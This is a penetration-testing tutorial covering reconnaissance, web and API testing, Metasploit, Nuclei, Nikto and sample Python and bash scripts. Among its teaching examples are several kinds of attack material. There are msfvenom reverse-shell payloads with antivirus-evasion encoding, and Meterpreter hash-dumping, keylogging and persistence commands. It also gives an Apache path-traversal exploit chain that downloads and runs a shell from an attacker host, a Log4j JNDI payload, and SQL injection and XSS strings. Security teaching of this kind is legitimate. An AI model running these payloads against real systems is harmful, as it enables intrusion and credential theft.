Penetration Testing Tools & Techniques

1. RECONNAISSANCE

Passive vs Active Reconnaissance

Passive Reconnaissance (Legal, Non-Intrusive):

text

Information gathering WITHOUT interacting with target systems

Techniques & Tools:

• DNS queries: dig, nslookup, dnsrecon

• Search engines: Google dorks, Shodan, Censys

• WHOIS lookups: whois, DomainTools

• Archive.org: Historical site data

• Social media: LinkedIn, GitHub (employees, code leaks)

• Certificate transparency: crt.sh, CertSpotter

Example Passive Commands:

bash

# WHOIS information
whois example.com

# DNS enumeration
dig any example.com
nslookup -type=MX example.com

# Historical data
# Use Wayback Machine API
curl "http://web.archive.org/cdx/search/cdx?url=example.com/*&output=json"

Active Reconnaissance (More Aggressive, May Trigger Alerts):

text

Direct interaction with target systems

Techniques:

• Port scanning: Nmap, Masscan

• Banner grabbing: Netcat, Telnet

• Directory brute-forcing: Gobuster, Dirb

• Vulnerability scanning: Nessus, OpenVAS

Subdomain Enumeration

Methods and Tools:

1. Bruteforce Techniques:

bash

# Using Gobuster
gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt

# Using ffuf
ffuf -u https://FUZZ.example.com -w subdomains.txt -H "Host: FUZZ.example.com"

# Using amass (passive + active)
amass enum -d example.com -active

2. Certificate Transparency:

bash

# Using certspotter
certspotter --subdomain-only example.com

# Using crt.sh API
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g'

3. DNS Brute-force with DNSdumpster:

bash

# Using dnsrecon
dnsrecon -d example.com -t brt -D /usr/share/wordlists/dnsmap.txt

4. Search Engine Dorking:

text

site:*.example.com
"example.com" -site:www.example.com

Recommended Wordlists:

• /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

• /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

• Custom wordlists based on target industry

OSINT Techniques

Framework:

text

1. Domain Intelligence
2. Employee Discovery
3. Technology Stack
4. Infrastructure Mapping
5. Social Engineering Data

Tools & Commands:

1. TheHarvester:

bash

theharvester -d example.com -b google,linkedin,github

2. Maltego (GUI OSINT):

• Entity relationships mapping

• Transform hubs for data correlation

• Visualization of attack surface

3. Shodan Search:

bash

# Find specific technologies
shodan search "http.title:'phpMyAdmin' country:'US'"

# API usage
curl -H "Authorization: Bearer API_KEY" "https://api.shodan.io/shodan/host/search?query=example.com"

4. GitHub Recon:

bash

# Search for secrets in repos
gitrob
trufflehog --regex --entropy=False https://github.com/company/

# GitHub search operators:
# filename:config password
# extension:sql "INSERT INTO users"

5. Email Enumeration:

bash

# Hunter.io API
curl "https://api.hunter.io/v2/domain-search?domain=example.com&api_key=YOUR_KEY"

# Email format guessing
# first.last@company.com
# first@company.com
# flast@company.com

2. WEB & API TESTING TOOLS

Burp Suite Professional

Core Components:

1. Proxy (Interception & Modification):

text

Browser → Burp Proxy → Target Server

Features:

• Intercept HTTP/HTTPS traffic

• Modify requests/responses in real-time

• Match and replace rules

• SSL certificate handling

Configuration:

bash

# Browser proxy settings
Proxy: 127.0.0.1:8080
SSL Certificate: Import from http://burp/cert

# Mobile testing
# Set device proxy to computer IP:8080
# Install Burp CA certificate

2. Repeater (Manual Request Testing):

• Modify and resend individual requests

• Compare responses

• Test for parameter manipulation

• Intruder request building

Common Tests:

text

- SQL Injection: ' OR '1'='1
- XSS: <script>alert(1)</script>
- Path Traversal: ../../../etc/passwd
- IDOR: Change user_id parameter

3. Intruder (Automated Attacks):
Attack Types:

• Sniper: One payload set, multiple positions

• Battering ram: Same payload to all positions

• Pitchfork: Multiple payload sets (parallel)

• Cluster bomb: Multiple payload sets (cartesian product)

Example SQL Injection Test:

text

Target: https://example.com/login
Parameter: username
Payloads: 
admin' --
admin' OR '1'='1
admin' UNION SELECT NULL--

4. Scanner (Automated Vulnerability Detection):

• Active and passive scanning

• Crawling functionality

• Issue reporting and management

Burp Extensions:

• Autorize: Authorization testing

• Turbo Intruder: High-speed requests

• J2EEScan: Java-specific vulnerabilities

• Software Vulnerability Scanner: Version checks

OWASP ZAP (Free Alternative)

Key Features:

bash

# Command line operation
zap.sh -cmd -quickurl https://example.com -quickout report.html

# Automated scanning
zap.sh -daemon -port 8080 -config api.key=changeme

HUD (Heads Up Display):

• In-browser testing interface

• Real-time vulnerability alerts

• Attack suggestions

Scripting Support:

• JavaScript, Zest, Python

• Automation of complex tests

Postman for API Testing

Security Testing Workflow:

1. Collection Setup:

javascript

// Pre-request script for authentication
pm.environment.set("auth_token", pm.response.json().token);

// Test scripts for security checks
pm.test("No sensitive data in response", function() {
    pm.expect(pm.response.text()).not.to.include("password");
});

// Environment variables for different targets
// {{base_url}}/api/v1/users

2. API Security Tests:

• Authentication bypass: Missing/weak auth

• Input validation: SQLi, XSS in API params

• Mass assignment: Send extra parameters

• Rate limiting: Send excessive requests

• Information disclosure: Error messages

3. Automated Scanning with Newman:

bash

# Run Postman collections
newman run api_tests.json --environment prod_env.json

# Generate reports
newman run collection.json -r htmlextra

4. API Fuzzing:

javascript

// Using Postman's Collection Runner with CSV data
// CSV columns: param1, param2, expected_response

3. EXPLOITATION FRAMEWORKS

Metasploit Basics

Architecture:

text

Exploits → Payloads → Encoders → NOP Generators

Core Commands:

bash

# Start framework
msfconsole

# Search for modules
search type:exploit platform:windows smb
search cve:2021-44228

# Use a module
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options

# Set parameters
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Execute
exploit

Meterpreter (Advanced Payload):

bash

# Once session is established
sysinfo              # System information
getuid               # Current user
hashdump             # Dump password hashes
screenshot           # Take screenshot
keyscan_start        # Start keylogger
migrate <PID>        # Migrate to another process
persistence -U -i 60 # Install persistence

Payload Generation

MSFVenom (Standalone Payload Creator):

bash

# Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# Web payloads
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.50 LPORT=443 -f vba-exe

# Encoders (AV evasion)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# Staged vs stageless
# Staged: msfvenom -p windows/meterpreter/reverse_tcp
# Stageless: msfvenom -p windows/meterpreter_reverse_tcp

Exploit Chaining

Scenario: Web App to Domain Admin

text

1. Recon: Find vulnerable web app (Nikto/Dirb)
2. Initial Access: SQL injection → file upload
3. Foothold: Upload web shell → reverse shell
4. Privilege Escalation: Windows kernel exploit
5. Lateral Movement: Pass-the-hash to other systems
6. Domain Compromise: Dump Domain Admin hashes

Example Chain:

bash

# Step 1: Discover vulnerability
nmap -sV -sC 192.168.1.100
# Finds Apache 2.4.49 (CVE-2021-41773)

# Step 2: Exploit path traversal
curl --path-as-is "http://192.168.1.100/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

# Step 3: Upload reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf > shell.elf
python3 -m http.server 80
# On target: curl http://192.168.1.50/shell.elf -o /tmp/shell && chmod +x /tmp/shell

# Step 4: Privilege escalation
# Upload linpeas.sh, run to find vulnerabilities

4. AUTOMATION

Nuclei Templates

Template Structure:

yaml

id: CVE-2021-44228

info:
  name: Log4j RCE
  author: pdteam
  severity: critical
  description: Apache Log4j2 JNDI injection RCE
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      User-Agent: "{{jndi:ldap://interact.sh/a}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Usage:

bash

# Basic scan
nuclei -u https://example.com

# With templates
nuclei -u https://example.com -t /path/to/templates/

# Automated scanning
nuclei -l targets.txt -o results.txt
nuclei -l targets.txt -severity critical,high -si 180

# Create custom templates
nuclei -ut   # Update templates

Template Types:

• Discovery: Find technologies, files

• Vulnerability: Specific CVE checks

• Misconfiguration: Default creds, exposed panels

• Fuzzing: Parameter discovery

Nikto

Comprehensive Web Scanner:

bash

# Basic scan
nikto -h https://example.com

# Multiple hosts
nikto -h hosts.txt

# Specific plugins
nikto -h example.com -Plugins "apache_expect_xss"

# Output formats
nikto -h example.com -Format csv -o results.csv
nikto -h example.com -Format json -o results.json

# Authentication
nikto -h example.com -id admin:password
nikto -h example.com -id admin:password -mutate 1

# Evasion techniques
nikto -h example.com -evasion 1  # Random URI encoding
nikto -h example.com -evasion 2  # Directory self-reference
nikto -h example.com -evasion 3  # Premature URL ending

Common Findings:

• Outdated server versions

• Exposed directories

• Default files

• HTTP methods allowed

• Security headers missing

Custom Scripts for Testing

Python Scripting Examples:

1. Port Scanner:

python

#!/usr/bin/env python3
import socket
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        if result == 0:
            try:
                service = socket.getservbyport(port)
            except:
                service = "unknown"
            print(f"[+] Port {port} ({service}) is open")
        sock.close()
    except Exception as e:
        pass

def main():
    host = "192.168.1.100"
    ports = range(1, 1025)
    
    with ThreadPoolExecutor(max_workers=100) as executor:
        for port in ports:
            executor.submit(scan_port, host, port)

if __name__ == "__main__":
    main()

2. Directory Brute-forcer:

python

import requests
import threading

def check_directory(url, word):
    try:
        r = requests.get(f"{url}/{word}", timeout=3)
        if r.status_code == 200:
            print(f"[+] Found: {url}/{word}")
        elif r.status_code == 403:
            print(f"[!] Forbidden: {url}/{word}")
    except:
        pass

def main():
    url = "https://example.com"
    with open("wordlist.txt", "r") as f:
        words = [line.strip() for line in f]
    
    threads = []
    for word in words:
        t = threading.Thread(target=check_directory, args=(url, word))
        threads.append(t)
        t.start()
        # Limit concurrent threads
        if len(threads) >= 50:
            for t in threads:
                t.join()
            threads = []

3. API Security Test Automation:

python

import requests
import json

class APITester:
    def __init__(self, base_url, auth_token=None):
        self.base_url = base_url
        self.headers = {"Authorization": f"Bearer {auth_token}"} if auth_token else {}
    
    def test_sqli(self, endpoint):
        """Test for SQL injection"""
        payloads = ["' OR '1'='1", "' UNION SELECT NULL--", "' OR 1=1--"]
        for payload in payloads:
            response = requests.get(
                f"{self.base_url}{endpoint}?id={payload}",
                headers=self.headers
            )
            if "error" in response.text.lower() and "sql" in response.text.lower():
                print(f"[!] Possible SQLi at {endpoint} with payload: {payload}")
    
    def test_idor(self, endpoint_template, user_ids):
        """Test for Insecure Direct Object References"""
        for user_id in user_ids:
            endpoint = endpoint_template.format(user_id=user_id)
            response = requests.get(f"{self.base_url}{endpoint}", headers=self.headers)
            if response.status_code == 200:
                print(f"[+] Access possible to {endpoint}")
    
    def test_rate_limit(self, endpoint, requests_count=100):
        """Test rate limiting"""
        successes = 0
        for i in range(requests_count):
            response = requests.get(f"{self.base_url}{endpoint}", headers=self.headers)
            if response.status_code == 200:
                successes += 1
            if response.status_code == 429:
                print(f"[!] Rate limit triggered after {i+1} requests")
                break

4. Vulnerability Correlation Script:

python

#!/usr/bin/env python3
import json
import sqlite3
from datetime import datetime

class PentestAutomation:
    def __init__(self):
        self.results = {
            "nmap": [],
            "nikto": [],
            "nuclei": [],
            "custom": []
        }
    
    def import_nmap(self, xml_file):
        """Parse Nmap XML output"""
        import xml.etree.ElementTree as ET
        tree = ET.parse(xml_file)
        root = tree.getroot()
        
        for host in root.findall('host'):
            ip = host.find('address').get('addr')
            for port in host.findall('ports/port'):
                if port.find('state').get('state') == 'open':
                    port_num = port.get('portid')
                    service = port.find('service').get('name', 'unknown')
                    self.results["nmap"].append({
                        "host": ip,
                        "port": port_num,
                        "service": service
                    })
    
    def correlate_findings(self):
        """Correlate findings from multiple tools"""
        correlation = {}
        
        for scan_type, findings in self.results.items():
            for finding in findings:
                host = finding.get("host")
                if host not in correlation:
                    correlation[host] = {}
                if scan_type not in correlation[host]:
                    correlation[host][scan_type] = []
                correlation[host][scan_type].append(finding)
        
        # Generate report
        with open(f"report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md", "w") as f:
            f.write("# Penetration Test Report\n\n")
            for host, findings in correlation.items():
                f.write(f"## {host}\n\n")
                for tool, tool_findings in findings.items():
                    f.write(f"### {tool.upper()} Findings\n")
                    for finding in tool_findings:
                        f.write(f"- {finding}\n")
                    f.write("\n")

SECURITY TESTING METHODOLOGY

1. Reconnaissance Phase

bash

# Automated recon script
#!/bin/bash
DOMAIN=$1

echo "[*] Starting reconnaissance for $DOMAIN"
echo "[*] Subdomain enumeration..."
amass enum -d $DOMAIN -o amass.txt
subfinder -d $DOMAIN -o subfinder.txt
cat amass.txt subfinder.txt | sort -u > all_subs.txt

echo "[*] Probing for alive subdomains..."
cat all_subs.txt | httprobe -c 50 > alive_subs.txt

echo "[*] Taking screenshots..."
cat alive_subs.txt | aquatone -out ./aquatone

echo "[*] Running nuclei..."
nuclei -l alive_subs.txt -o nuclei_results.txt

echo "[*] Reconnaissance complete!"

2. Vulnerability Assessment Phase

bash

# Automated vulnerability scan
#!/bin/bash
TARGET=$1

echo "[*] Starting vulnerability assessment for $TARGET"
echo "[*] Port scanning..."
nmap -sV -sC -oA nmap_scan $TARGET

echo "[*] Web vulnerability scanning..."
nikto -h $TARGET -o nikto_results.html -Format html

echo "[*] Directory brute-forcing..."
gobuster dir -u $TARGET -w /usr/share/wordlists/dirb/common.txt -o dirs.txt

echo "[*] Checking for common vulnerabilities..."
nuclei -u $TARGET -t /home/kali/nuclei-templates/ -o nuclei_scan.txt

3. Exploitation Phase

bash

# Automated exploit testing
#!/bin/bash
TARGET=$1
PORT=$2

echo "[*] Testing for common exploits on $TARGET:$PORT"

# Check service version and test exploits
case $PORT in
    21)
        echo "[*] Testing FTP anonymous login"
        ftp -n $TARGET <<EOF
user anonymous anonymous
ls
quit
EOF
        ;;
    80|443)
        echo "[*] Testing web vulnerabilities"
        sqlmap -u "http://$TARGET/login" --forms --batch
        ;;
    445)
        echo "[*] Testing SMB vulnerabilities"
        nmap --script smb-vuln* -p 445 $TARGET
        ;;
esac

This extensive toolkit and methodology provide a solid foundation for professional penetration testing, combining automated tools with manual techniques for thorough security assessment.